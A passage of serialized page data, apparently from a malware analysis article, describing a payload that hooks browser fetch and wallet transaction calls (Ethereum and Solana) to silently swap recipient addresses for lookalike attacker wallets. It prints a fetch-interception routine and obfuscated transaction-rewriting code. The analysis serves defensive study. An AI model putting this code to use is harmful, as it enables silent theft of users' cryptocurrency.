runmask",{"type":19,"tag":168,"props":94955,"children":94956},{"style":212},[94957],{"type":24,"value":1084},{"type":19,"tag":168,"props":94959,"children":94960},{"class":170,"line":707},[94961,94965,94969,94974,94978,94982],{"type":19,"tag":168,"props":94962,"children":94963},{"style":419},[94964],{"type":24,"value":36762},{"type":19,"tag":168,"props":94966,"children":94967},{"style":212},[94968],{"type":24,"value":461},{"type":19,"tag":168,"props":94970,"children":94971},{"style":393},[94972],{"type":24,"value":94973},"rund",{"type":19,"tag":168,"props":94975,"children":94976},{"style":399},[94977],{"type":24,"value":61872},{"type":19,"tag":168,"props":94979,"children":94980},{"style":192},[94981],{"type":24,"value":1954},{"type":19,"tag":168,"props":94983,"children":94984},{"style":212},[94985],{"type":24,"value":12250},{"type":19,"tag":168,"props":94987,"children":94988},{"class":170,"line":725},[94989,94994,94998,95002],{"type":19,"tag":168,"props":94990,"children":94991},{"style":393},[94992],{"type":24,"value":94993}," rund",{"type":19,"tag":168,"props":94995,"children":94996},{"style":399},[94997],{"type":24,"value":402},{"type":19,"tag":168,"props":94999,"children":95000},{"style":192},[95001],{"type":24,"value":1954},{"type":19,"tag":168,"props":95003,"children":95004},{"style":212},[95005],{"type":24,"value":412},{"type":19,"tag":168,"props":95007,"children":95008},{"class":170,"line":746},[95009,95014,95018,95022],{"type":19,"tag":168,"props":95010,"children":95011},{"style":393},[95012],{"type":24,"value":95013}," neth",{"type":19,"tag":168,"props":95015,"children":95016},{"style":399},[95017],{"type":24,"value":402},{"type":19,"tag":168,"props":95019,"children":95020},{"style":192},[95021],{"type":24,"value":1954},{"type":19,"tag":168,"props":95023,"children":95024},{"style":212},[95025],{"type":24,"value":412},{"type":19,"tag":168,"props":95027,"children":95028},{"class":170,"line":755},[95029,95034],{"type":19,"tag":168,"props":95030,"children":95031},{"style":175},[95032],{"type":24,"value":95033}," newdlocal",{"type":19,"tag":168,"props":95035,"children":95036},{"style":212},[95037],{"type":24,"value":1084},{"type":19,"tag":168,"props":95039,"children":95040},{"class":170,"line":1008},[95041],{"type":19,"tag":168,"props":95042,"children":95043},{"style":212},[95044],{"type":24,"value":10109},{"type":19,"tag":168,"props":95046,"children":95047},{"class":170,"line":1025},[95048,95052,95056,95060,95064,95068,95072,95076],{"type":19,"tag":168,"props":95049,"children":95050},{"style":212},[95051],{"type":24,"value":13227},{"type":19,"tag":168,"props":95053,"children":95054},{"style":419},[95055],{"type":24,"value":718},{"type":19,"tag":168,"props":95057,"children":95058},{"style":419},[95059],{"type":24,"value":13236},{"type":19,"tag":168,"props":95061,"children":95062},{"style":212},[95063],{"type":24,"value":461},{"type":19,"tag":168,"props":95065,"children":95066},{"style":393},[95067],{"type":24,"value":94973},{"type":19,"tag":168,"props":95069,"children":95070},{"style":399},[95071],{"type":24,"value":61872},{"type":19,"tag":168,"props":95073,"children":95074},{"style":192},[95075],{"type":24,"value":1954},{"type":19,"tag":168,"props":95077,"children":95078},{"style":212},[95079],{"type":24,"value":12250},{"type":19,"tag":168,"props":95081,"children":95082},{"class":170,"line":1042},[95083,95088,95092,95096],{"type":19,"tag":168,"props":95084,"children":95085},{"style":393},[95086],{"type":24,"value":95087}," rund",{"type":19,"tag":168,"props":95089,"children":95090},{"style":399},[95091],{"type":24,"value":402},{"type":19,"tag":168,"props":95093,"children":95094},{"style":192},[95095],{"type":24,"value":1954},{"type":19,"tag":168,"props":95097,"children":95098},{"style":212},[95099],{"type":24,"value":412},{"type":19,"tag":168,"props":95101,"children":95102},{"class":170,"line":1055},[95103,95108],{"type":19,"tag":168,"props":95104,"children":95105},{"style":175},[95106],{"type":24,"value":95107}," newdlocal",{"type":19,"tag":168,"props":95109,"children":95110},{"style":212},[95111],{"type":24,"value":1084},{"type":19,"tag":168,"props":95113,"children":95114},{"class":170,"line":1064},[95115],{"type":19,"tag":168,"props":95116,"children":95117},{"style":212},[95118],{"type":24,"value":761},{"type":19,"tag":168,"props":95120,"children":95121},{"class":170,"line":1087},[95122],{"type":19,"tag":168,"props":95123,"children":95124},{"style":212},[95125],{"type":24,"value":3306},{"type":19,"tag":168,"props":95127,"children":95128},{"class":170,"line":1096},[95129],{"type":19,"tag":168,"props":95130,"children":95131},{"style":212},[95132],{"type":24,"value":1326},{"type":19,"tag":2869,"props":95134,"children":95135},{"start":198},[95136],{"type":19,"tag":47,"props":95137,"children":95138},{},[95139],{"type":24,"value":95140},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":19,"tag":158,"props":95142,"children":95144},{"code":95143,"language":28837,"meta":7,"className":28835,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[95145],{"type":19,"tag":27,"props":95146,"children":95147},{"__ignoreMap":7},[95148,95183,95240,95302,95317,95354,95393,95408,95447,95454,95487,95503,95562,95600,95625,95650,95674,95682,95697],{"type":19,"tag":168,"props":95149,"children":95150},{"class":170,"line":171},[95151,95155,95159,95163,95167,95171,95175,95179],{"type":19,"tag":168,"props":95152,"children":95153},{"style":175},[95154],{"type":24,"value":31568},{"type":19,"tag":168,"props":95156,"children":95157},{"style":399},[95158],{"type":24,"value":402},{"type":19,"tag":168,"props":95160,"children":95161},{"style":382},[95162],{"type":24,"value":33840},{"type":19,"tag":168,"props":95164,"children":95165},{"style":382},[95166],{"type":24,"value":35689},{"type":19,"tag":168,"props":95168,"children":95169},{"style":212},[95170],{"type":24,"value":461},{"type":19,"tag":168,"props":95172,"children":95173},{"style":399},[95174],{"type":24,"value":7032},{"type":19,"tag":168,"props":95176,"children":95177},{"style":393},[95178],{"type":24,"value":35703},{"type":19,"tag":168,"props":95180,"children":95181},{"style":212},[95182],{"type":24,"value":12250},{"type":19,"tag":168,"props":95184,"children":95185},{"class":170,"line":198},[95186,95190,95195,95199,95203,95208,95212,95216,95220,95224,95228,95232,95236],{"type":19,"tag":168,"props":95187,"children":95188},{"style":382},[95189],{"type":24,"value":33663},{"type":19,"tag":168,"props":95191,"children":95192},{"style":393},[95193],{"type":24,"value":95194}," originalResponse",{"type":19,"tag":168,"props":95196,"children":95197},{"style":399},[95198],{"type":24,"value":402},{"type":19,"tag":168,"props":95200,"children":95201},{"style":419},[95202],{"type":24,"value":33686},{"type":19,"tag":168,"props":95204,"children":95205},{"style":393},[95206],{"type":24,"value":95207}," originalFetch",{"type":19,"tag":168,"props":95209,"children":95210},{"style":212},[95211],{"type":24,"value":948},{"type":19,"tag":168,"props":95213,"children":95214},{"style":175},[95215],{"type":24,"value":35771},{"type":19,"tag":168,"props":95217,"children":95218},{"style":212},[95219],{"type":24,"value":500},{"type":19,"tag":168,"props":95221,"children":95222},{"style":382},[95223],{"type":24,"value":15143},{"type":19,"tag":168,"props":95225,"children":95226},{"style":212},[95227],{"type":24,"value":471},{"type":19,"tag":168,"props":95229,"children":95230},{"style":399},[95231],{"type":24,"value":7032},{"type":19,"tag":168,"props":95233,"children":95234},{"style":393},[95235],{"type":24,"value":35703},{"type":19,"tag":168,"props":95237,"children":95238},{"style":212},[95239],{"type":24,"value":1249},{"type":19,"tag":168,"props":95241,"children":95242},{"class":170,"line":415},[95243,95247,95252,95256,95260,95264,95269,95273,95277,95281,95286,95290,95294,95298],{"type":19,"tag":168,"props":95244,"children":95245},{"style":382},[95246],{"type":24,"value":33663},{"type":19,"tag":168,"props":95248,"children":95249},{"style":393},[95250],{"type":24,"value":95251}," contentType",{"type":19,"tag":168,"props":95253,"children":95254},{"style":399},[95255],{"type":24,"value":402},{"type":19,"tag":168,"props":95257,"children":95258},{"style":393},[95259],{"type":24,"value":95194},{"type":19,"tag":168,"props":95261,"children":95262},{"style":212},[95263],{"type":24,"value":948},{"type":19,"tag":168,"props":95265,"children":95266},{"style":393},[95267],{"type":24,"value":95268},"headers",{"type":19,"tag":168,"props":95270,"children":95271},{"style":212},[95272],{"type":24,"value":948},{"type":19,"tag":168,"props":95274,"children":95275},{"style":175},[95276],{"type":24,"value":13800},{"type":19,"tag":168,"props":95278,"children":95279},{"style":212},[95280],{"type":24,"value":500},{"type":19,"tag":168,"props":95282,"children":95283},{"style":181},[95284],{"type":24,"value":95285},"'Content-Type'",{"type":19,"tag":168,"props":95287,"children":95288},{"style":212},[95289],{"type":24,"value":481},{"type":19,"tag":168,"props":95291,"children":95292},{"style":399},[95293],{"type":24,"value":19874},{"type":19,"tag":168,"props":95295,"children":95296},{"style":181},[95297],{"type":24,"value":29311},{"type":19,"tag":168,"props":95299,"children":95300},{"style":212},[95301],{"type":24,"value":412},{"type":19,"tag":168,"props":95303,"children":95304},{"class":170,"line":450},[95305,95309,95313],{"type":19,"tag":168,"props":95306,"children":95307},{"style":382},[95308],{"type":24,"value":5292},{"type":19,"tag":168,"props":95310,"children":95311},{"style":393},[95312],{"type":24,"value":12551},{"type":19,"tag":168,"props":95314,"children":95315},{"style":212},[95316],{"type":24,"value":412},{"type":19,"tag":168,"props":95318,"children":95319},{"class":170,"line":560},[95320,95324,95328,95333,95337,95341,95345,95350],{"type":19,"tag":168,"props":95321,"children":95322},{"style":419},[95323],{"type":24,"value":28866},{"type":19,"tag":168,"props":95325,"children":95326},{"style":212},[95327],{"type":24,"value":461},{"type":19,"tag":168,"props":95329,"children":95330},{"style":393},[95331],{"type":24,"value":95332},"contentType",{"type":19,"tag":168,"props":95334,"children":95335},{"style":212},[95336],{"type":24,"value":948},{"type":19,"tag":168,"props":95338,"children":95339},{"style":175},[95340],{"type":24,"value":32655},{"type":19,"tag":168,"props":95342,"children":95343},{"style":212},[95344],{"type":24,"value":500},{"type":19,"tag":168,"props":95346,"children":95347},{"style":181},[95348],{"type":24,"value":95349},"'application/json'",{"type":19,"tag":168,"props":95351,"children":95352},{"style":212},[95353],{"type":24,"value":32668},{"type":19,"tag":168,"props":95355,"children":95356},{"class":170,"line":666},[95357,95361,95365,95369,95373,95377,95381,95385,95389],{"type":19,"tag":168,"props":95358,"children":95359},{"style":393},[95360],{"type":24,"value":40709},{"type":19,"tag":168,"props":95362,"children":95363},{"style":399},[95364],{"type":24,"value":402},{"type":19,"tag":168,"props":95366,"children":95367},{"style":419},[95368],{"type":24,"value":33686},{"type":19,"tag":168,"props":95370,"children":95371},{"style":393},[95372],{"type":24,"value":95194},{"type":19,"tag":168,"props":95374,"children":95375},{"style":212},[95376],{"type":24,"value":948},{"type":19,"tag":168,"props":95378,"children":95379},{"style":175},[95380],{"type":24,"value":12867},{"type":19,"tag":168,"props":95382,"children":95383},{"style":212},[95384],{"type":24,"value":27639},{"type":19,"tag":168,"props":95386,"children":95387},{"style":175},[95388],{"type":24,"value":31471},{"type":19,"tag":168,"props":95390,"children":95391},{"style":212},[95392],{"type":24,"value":1084},{"type":19,"tag":168,"props":95394,"children":95395},{"class":170,"line":694},[95396,95400,95404],{"type":19,"tag":168,"props":95397,"children":95398},{"style":212},[95399],{"type":24,"value":28940},{"type":19,"tag":168,"props":95401,"children":95402},{"style":419},[95403],{"type":24,"value":718},{"type":19,"tag":168,"props":95405,"children":95406},{"style":212},[95407],{"type":24,"value":691},{"type":19,"tag":168,"props":95409,"children":95410},{"class":170,"line":707},[95411,95415,95419,95423,95427,95431,95435,95439,95443],{"type":19,"tag":168,"props":95412,"children":95413},{"style":393},[95414],{"type":24,"value":40709},{"type":19,"tag":168,"props":95416,"children":95417},{"style":399},[95418],{"type":24,"value":402},{"type":19,"tag":168,"props":95420,"children":95421},{"style":419},[95422],{"type":24,"value":33686},{"type":19,"tag":168,"props":95424,"children":95425},{"style":393},[95426],{"type":24,"value":95194},{"type":19,"tag":168,"props":95428,"children":95429},{"style":212},[95430],{"type":24,"value":948},{"type":19,"tag":168,"props":95432,"children":95433},{"style":175},[95434],{"type":24,"value":12867},{"type":19,"tag":168,"props":95436,"children":95437},{"style":212},[95438],{"type":24,"value":27639},{"type":19,"tag":168,"props":95440,"children":95441},{"style":175},[95442],{"type":24,"value":24},{"type":19,"tag":168,"props":95444,"children":95445},{"style":212},[95446],{"type":24,"value":1084},{"type":19,"tag":168,"props":95448,"children":95449},{"class":170,"line":725},[95450],{"type":19,"tag":168,"props":95451,"children":95452},{"style":212},[95453],{"type":24,"value":3306},{"type":19,"tag":168,"props":95455,"children":95456},{"class":170,"line":746},[95457,95461,95466,95470,95475,95479,95483],{"type":19,"tag":168,"props":95458,"children":95459},{"style":382},[95460],{"type":24,"value":33663},{"type":19,"tag":168,"props":95462,"children":95463},{"style":393},[95464],{"type":24,"value":95465}," processedData",{"type":19,"tag":168,"props":95467,"children":95468},{"style":399},[95469],{"type":24,"value":402},{"type":19,"tag":168,"props":95471,"children":95472},{"style":175},[95473],{"type":24,"value":95474}," replaceAddresses",{"type":19,"tag":168,"props":95476,"children":95477},{"style":212},[95478],{"type":24,"value":500},{"type":19,"tag":168,"props":95480,"children":95481},{"style":393},[95482],{"type":24,"value":1120},{"type":19,"tag":168,"props":95484,"children":95485},{"style":212},[95486],{"type":24,"value":1249},{"type":19,"tag":168,"props":95488,"children":95489},{"class":170,"line":755},[95490,95494,95499],{"type":19,"tag":168,"props":95491,"children":95492},{"style":382},[95493],{"type":24,"value":33663},{"type":19,"tag":168,"props":95495,"children":95496},{"style":393},[95497],{"type":24,"value":95498}," finalResponseText",{"type":19,"tag":168,"props":95500,"children":95501},{"style":399},[95502],{"type":24,"value":33330},{"type":19,"tag":168,"props":95504,"children":95505},{"class":170,"line":1008},[95506,95511,95515,95519,95524,95529,95533,95537,95541,95545,95549,95553,95558],{"type":19,"tag":168,"props":95507,"children":95508},{"style":382},[95509],{"type":24,"value":95510}," typeof",{"type":19,"tag":168,"props":95512,"children":95513},{"style":393},[95514],{"type":24,"value":95465},{"type":19,"tag":168,"props":95516,"children":95517},{"style":399},[95518],{"type":24,"value":28894},{"type":19,"tag":168,"props":95520,"children":95521},{"style":181},[95522],{"type":24,"value":95523}," 'string'",{"type":19,"tag":168,"props":95525,"children":95526},{"style":399},[95527],{"type":24,"value":95528}," ?",{"type":19,"tag":168,"props":95530,"children":95531},{"style":393},[95532],{"type":24,"value":95465},{"type":19,"tag":168,"props":95534,"children":95535},{"style":399},[95536],{"type":24,"value":32590},{"type":19,"tag":168,"props":95538,"children":95539},{"style":393},[95540],{"type":24,"value":35003},{"type":19,"tag":168,"props":95542,"children":95543},{"style":212},[95544],{"type":24,"value":948},{"type":19,"tag":168,"props":95546,"children":95547},{"style":175},[95548],{"type":24,"value":36708},{"type":19,"tag":168,"props":95550,"children":95551},{"style":212},[95552],{"type":24,"value":500},{"type":19,"tag":168,"props":95554,"children":95555},{"style":393},[95556],{"type":24,"value":95557},"processedData",{"type":19,"tag":168,"props":95559,"children":95560},{"style":212},[95561],{"type":24,"value":1249},{"type":19,"tag":168,"props":95563,"children":95564},{"class":170,"line":1025},[95565,95569,95574,95578,95582,95587,95591,95596],{"type":19,"tag":168,"props":95566,"children":95567},{"style":382},[95568],{"type":24,"value":33663},{"type":19,"tag":168,"props":95570,"children":95571},{"style":393},[95572],{"type":24,"value":95573}," finalResponse",{"type":19,"tag":168,"props":95575,"children":95576},{"style":399},[95577],{"type":24,"value":402},{"type":19,"tag":168,"props":95579,"children":95580},{"style":382},[95581],{"type":24,"value":29405},{"type":19,"tag":168,"props":95583,"children":95584},{"style":175},[95585],{"type":24,"value":95586}," Response",{"type":19,"tag":168,"props":95588,"children":95589},{"style":212},[95590],{"type":24,"value":500},{"type":19,"tag":168,"props":95592,"children":95593},{"style":393},[95594],{"type":24,"value":95595},"finalResponseText",{"type":19,"tag":168,"props":95597,"children":95598},{"style":212},[95599],{"type":24,"value":46364},{"type":19,"tag":168,"props":95601,"children":95602},{"class":170,"line":1042},[95603,95608,95612,95616,95621],{"type":19,"tag":168,"props":95604,"children":95605},{"style":393},[95606],{"type":24,"value":95607}," status:",{"type":19,"tag":168,"props":95609,"children":95610},{"style":393},[95611],{"type":24,"value":95194},{"type":19,"tag":168,"props":95613,"children":95614},{"style":212},[95615],{"type":24,"value":948},{"type":19,"tag":168,"props":95617,"children":95618},{"style":393},[95619],{"type":24,"value":95620},"status",{"type":19,"tag":168,"props":95622,"children":95623},{"style":212},[95624],{"type":24,"value":915},{"type":19,"tag":168,"props":95626,"children":95627},{"class":170,"line":1055},[95628,95633,95637,95641,95646],{"type":19,"tag":168,"props":95629,"children":95630},{"style":393},[95631],{"type":24,"value":95632}," statusText:",{"type":19,"tag":168,"props":95634,"children":95635},{"style":393},[95636],{"type":24,"value":95194},{"type":19,"tag":168,"props":95638,"children":95639},{"style":212},[95640],{"type":24,"value":948},{"type":19,"tag":168,"props":95642,"children":95643},{"style":393},[95644],{"type":24,"value":95645},"statusText",{"type":19,"tag":168,"props":95647,"children":95648},{"style":212},[95649],{"type":24,"value":915},{"type":19,"tag":168,"props":95651,"children":95652},{"class":170,"line":1064},[95653,95658,95662,95666,95670],{"type":19,"tag":168,"props":95654,"children":95655},{"style":393},[95656],{"type":24,"value":95657}," headers:",{"type":19,"tag":168,"props":95659,"children":95660},{"style":393},[95661],{"type":24,"value":95194},{"type":19,"tag":168,"props":95663,"children":95664},{"style":212},[95665],{"type":24,"value":948},{"type":19,"tag":168,"props":95667,"children":95668},{"style":393},[95669],{"type":24,"value":95268},{"type":19,"tag":168,"props":95671,"children":95672},{"style":212},[95673],{"type":24,"value":915},{"type":19,"tag":168,"props":95675,"children":95676},{"class":170,"line":1087},[95677],{"type":19,"tag":168,"props":95678,"children":95679},{"style":212},[95680],{"type":24,"value":95681}," });\n",{"type":19,"tag":168,"props":95683,"children":95684},{"class":170,"line":1096},[95685,95689,95693],{"type":19,"tag":168,"props":95686,"children":95687},{"style":419},[95688],{"type":24,"value":36674},{"type":19,"tag":168,"props":95690,"children":95691},{"style":393},[95692],{"type":24,"value":95573},{"type":19,"tag":168,"props":95694,"children":95695},{"style":212},[95696],{"type":24,"value":412},{"type":19,"tag":168,"props":95698,"children":95699},{"class":170,"line":1105},[95700],{"type":19,"tag":168,"props":95701,"children":95702},{"style":212},[95703],{"type":24,"value":14026},{"type":19,"tag":2869,"props":95705,"children":95706},{"start":415},[95707],{"type":19,"tag":47,"props":95708,"children":95709},{},[95710],{"type":24,"value":95711},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":19,"tag":158,"props":95713,"children":95715},{"code":95714,"language":28837,"meta":7,"className":28835,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[95716],{"type":19,"tag":27,"props":95717,"children":95718},{"__ignoreMap":7},[95719,95798,95809,95866,95906,95931,95946,95957,95991,96024,96043,96070,96078,96089,96129,96158,96186,96193,96233,96276,96320,96335,96374,96381,96405,96412],{"type":19,"tag":168,"props":95720,"children":95721},{"class":170,"line":171},[95722,95726,95730,95735,95739,95743,95747,95752,95756,95761,95765,95770,95774,95778,95782,95786,95790,95794],{"type":19,"tag":168,"props":95723,"children":95724},{"style":419},[95725],{"type":24,"value":13027},{"type":19,"tag":168,"props":95727,"children":95728},{"style":212},[95729],{"type":24,"value":461},{"type":19,"tag":168,"props":95731,"children":95732},{"style":393},[95733],{"type":24,"value":95734},"_0x2c3d7e",{"type":19,"tag":168,"props":95736,"children":95737},{"style":212},[95738],{"type":24,"value":948},{"type":19,"tag":168,"props":95740,"children":95741},{"style":393},[95742],{"type":24,"value":35788},{"type":19,"tag":168,"props":95744,"children":95745},{"style":399},[95746],{"type":24,"value":28894},{"type":19,"tag":168,"props":95748,"children":95749},{"style":181},[95750],{"type":24,"value":95751}," 'eth_sendTransaction'",{"type":19,"tag":168,"props":95753,"children":95754},{"style":399},[95755],{"type":24,"value":11631},{"type":19,"tag":168,"props":95757,"children":95758},{"style":393},[95759],{"type":24,"value":95760}," _0x2c3d7e",{"type":19,"tag":168,"props":95762,"children":95763},{"style":212},[95764],{"type":24,"value":948},{"type":19,"tag":168,"props":95766,"children":95767},{"style":393},[95768],{"type":24,"value":95769},"params",{"type":19,"tag":168,"props":95771,"children":95772},{"style":399},[95773],{"type":24,"value":11631},{"type":19,"tag":168,"props":95775,"children":95776},{"style":393},[95777],{"type":24,"value":95760},{"type":19,"tag":168,"props":95779,"children":95780},{"style":212},[95781],{"type":24,"value":948},{"type":19,"tag":168,"props":95783,"children":95784},{"style":393},[95785],{"type":24,"value":95769},{"type":19,"tag":168,"props":95787,"children":95788},{"style":212},[95789],{"type":24,"value":1152},{"type":19,"tag":168,"props":95791,"children":95792},{"style":192},[95793],{"type":24,"value":1452},{"type":19,"tag":168,"props":95795,"children":95796},{"style":212},[95797],{"type":24,"value":38100},{"type":19,"tag":168,"props":95799,"children":95800},{"class":170,"line":198},[95801,95805],{"type":19,"tag":168,"props":95802,"children":95803},{"style":419},[95804],{"type":24,"value":94837},{"type":19,"tag":168,"props":95806,"children":95807},{"style":212},[95808],{"type":24,"value":691},{"type":19,"tag":168,"props":95810,"children":95811},{"class":170,"line":415},[95812,95816,95821,95825,95830,95834,95838,95842,95846,95850,95854,95858,95862],{"type":19,"tag":168,"props":95813,"children":95814},{"style":382},[95815],{"type":24,"value":49151},{"type":19,"tag":168,"props":95817,"children":95818},{"style":393},[95819],{"type":24,"value":95820}," _0x39ad21",{"type":19,"tag":168,"props":95822,"children":95823},{"style":399},[95824],{"type":24,"value":402},{"type":19,"tag":168,"props":95826,"children":95827},{"style":175},[95828],{"type":24,"value":95829}," _0x1089ae",{"type":19,"tag":168,"props":95831,"children":95832},{"style":212},[95833],{"type":24,"value":500},{"type":19,"tag":168,"props":95835,"children":95836},{"style":393},[95837],{"type":24,"value":95734},{"type":19,"tag":168,"props":95839,"children":95840},{"style":212},[95841],{"type":24,"value":948},{"type":19,"tag":168,"props":95843,"children":95844},{"style":393},[95845],{"type":24,"value":95769},{"type":19,"tag":168,"props":95847,"children":95848},{"style":212},[95849],{"type":24,"value":1152},{"type":19,"tag":168,"props":95851,"children":95852},{"style":192},[95853],{"type":24,"value":1452},{"type":19,"tag":168,"props":95855,"children":95856},{"style":212},[95857],{"type":24,"value":20516},{"type":19,"tag":168,"props":95859,"children":95860},{"style":382},[95861],{"type":24,"value":1423},{"type":19,"tag":168,"props":95863,"children":95864},{"style":212},[95865],{"type":24,"value":1249},{"type":19,"tag":168,"props":95867,"children":95868},{"class":170,"line":450},[95869,95874,95878,95882,95886,95890,95894,95898,95902],{"type":19,"tag":168,"props":95870,"children":95871},{"style":393},[95872],{"type":24,"value":95873}," _0x2c3d7e",{"type":19,"tag":168,"props":95875,"children":95876},{"style":212},[95877],{"type":24,"value":948},{"type":19,"tag":168,"props":95879,"children":95880},{"style":393},[95881],{"type":24,"value":95769},{"type":19,"tag":168,"props":95883,"children":95884},{"style":212},[95885],{"type":24,"value":1152},{"type":19,"tag":168,"props":95887,"children":95888},{"style":192},[95889],{"type":24,"value":1452},{"type":19,"tag":168,"props":95891,"children":95892},{"style":212},[95893],{"type":24,"value":6099},{"type":19,"tag":168,"props":95895,"children":95896},{"style":399},[95897],{"type":24,"value":486},{"type":19,"tag":168,"props":95899,"children":95900},{"style":393},[95901],{"type":24,"value":95820},{"type":19,"tag":168,"props":95903,"children":95904},{"style":212},[95905],{"type":24,"value":412},{"type":19,"tag":168,"props":95907,"children":95908},{"class":170,"line":560},[95909,95913,95917,95921,95926],{"type":19,"tag":168,"props":95910,"children":95911},{"style":212},[95912],{"type":24,"value":28940},{"type":19,"tag":168,"props":95914,"children":95915},{"style":419},[95916],{"type":24,"value":45893},{"type":19,"tag":168,"props":95918,"children":95919},{"style":212},[95920],{"type":24,"value":461},{"type":19,"tag":168,"props":95922,"children":95923},{"style":393},[95924],{"type":24,"value":95925},"_0x226343",{"type":19,"tag":168,"props":95927,"children":95928},{"style":212},[95929],{"type":24,"value":95930},") {}\n",{"type":19,"tag":168,"props":95932,"children":95933},{"class":170,"line":666},[95934,95938,95942],{"type":19,"tag":168,"props":95935,"children":95936},{"style":212},[95937],{"type":24,"value":44355},{"type":19,"tag":168,"props":95939,"children":95940},{"style":419},[95941],{"type":24,"value":718},{"type":19,"tag":168,"props":95943,"children":95944},{"style":212},[95945],{"type":24,"value":691},{"type":19,"tag":168,"props":95947,"children":95948},{"class":170,"line":694},[95949,95953],{"type":19,"tag":168,"props":95950,"children":95951},{"style":419},[95952],{"type":24,"value":28866},{"type":19,"tag":168,"props":95954,"children":95955},{"style":212},[95956],{"type":24,"value":76055},{"type":19,"tag":168,"props":95958,"children":95959},{"class":170,"line":707},[95960,95965,95969,95973,95977,95981,95986],{"type":19,"tag":168,"props":95961,"children":95962},{"style":212},[95963],{"type":24,"value":95964}," (",{"type":19,"tag":168,"props":95966,"children":95967},{"style":393},[95968],{"type":24,"value":95734},{"type":19,"tag":168,"props":95970,"children":95971},{"style":212},[95972],{"type":24,"value":948},{"type":19,"tag":168,"props":95974,"children":95975},{"style":393},[95976],{"type":24,"value":35788},{"type":19,"tag":168,"props":95978,"children":95979},{"style":399},[95980],{"type":24,"value":28894},{"type":19,"tag":168,"props":95982,"children":95983},{"style":181},[95984],{"type":24,"value":95985}," 'solana_signTransaction'",{"type":19,"tag":168,"props":95987,"children":95988},{"style":399},[95989],{"type":24,"value":95990}," ||\n",{"type":19,"tag":168,"props":95992,"children":95993},{"class":170,"line":725},[95994,95999,96003,96007,96011,96016,96020],{"type":19,"tag":168,"props":95995,"children":95996},{"style":393},[95997],{"type":24,"value":95998}," _0x2c3d7e",{"type":19,"tag":168,"props":96000,"children":96001},{"style":212},[96002],{"type":24,"value":948},{"type":19,"tag":168,"props":96004,"children":96005},{"style":393},[96006],{"type":24,"value":35788},{"type":19,"tag":168,"props":96008,"children":96009},{"style":399},[96010],{"type":24,"value":28894},{"type":19,"tag":168,"props":96012,"children":96013},{"style":181},[96014],{"type":24,"value":96015}," 'solana_signAndSendTransaction'",{"type":19,"tag":168,"props":96017,"children":96018},{"style":212},[96019],{"type":24,"value":481},{"type":19,"tag":168,"props":96021,"children":96022},{"style":399},[96023],{"type":24,"value":81304},{"type":19,"tag":168,"props":96025,"children":96026},{"class":170,"line":746},[96027,96031,96035,96039],{"type":19,"tag":168,"props":96028,"children":96029},{"style":393},[96030],{"type":24,"value":95873},{"type":19,"tag":168,"props":96032,"children":96033},{"style":212},[96034],{"type":24,"value":948},{"type":19,"tag":168,"props":96036,"children":96037},{"style":393},[96038],{"type":24,"value":95769},{"type":19,"tag":168,"props":96040,"children":96041},{"style":399},[96042],{"type":24,"value":50167},{"type":19,"tag":168,"props":96044,"children":96045},{"class":170,"line":755},[96046,96050,96054,96058,96062,96066],{"type":19,"tag":168,"props":96047,"children":96048},{"style":393},[96049],{"type":24,"value":95873},{"type":19,"tag":168,"props":96051,"children":96052},{"style":212},[96053],{"type":24,"value":948},{"type":19,"tag":168,"props":96055,"children":96056},{"style":393},[96057],{"type":24,"value":95769},{"type":19,"tag":168,"props":96059,"children":96060},{"style":212},[96061],{"type":24,"value":1152},{"type":19,"tag":168,"props":96063,"children":96064},{"style":192},[96065],{"type":24,"value":1452},{"type":19,"tag":168,"props":96067,"children":96068},{"style":212},[96069],{"type":24,"value":9217},{"type":19,"tag":168,"props":96071,"children":96072},{"class":170,"line":1008},[96073],{"type":19,"tag":168,"props":96074,"children":96075},{"style":212},[96076],{"type":24,"value":96077}," ) {\n",{"type":19,"tag":168,"props":96079,"children":96080},{"class":170,"line":1025},[96081,96085],{"type":19,"tag":168,"props":96082,"children":96083},{"style":419},[96084],{"type":24,"value":67469},{"type":19,"tag":168,"props":96086,"children":96087},{"style":212},[96088],{"type":24,"value":691},{"type":19,"tag":168,"props":96090,"children":96091},{"class":170,"line":1042},[96092,96096,96101,96105,96109,96113,96117,96121,96125],{"type":19,"tag":168,"props":96093,"children":96094},{"style":382},[96095],{"type":24,"value":5512},{"type":19,"tag":168,"props":96097,"children":96098},{"style":393},[96099],{"type":24,"value":96100}," 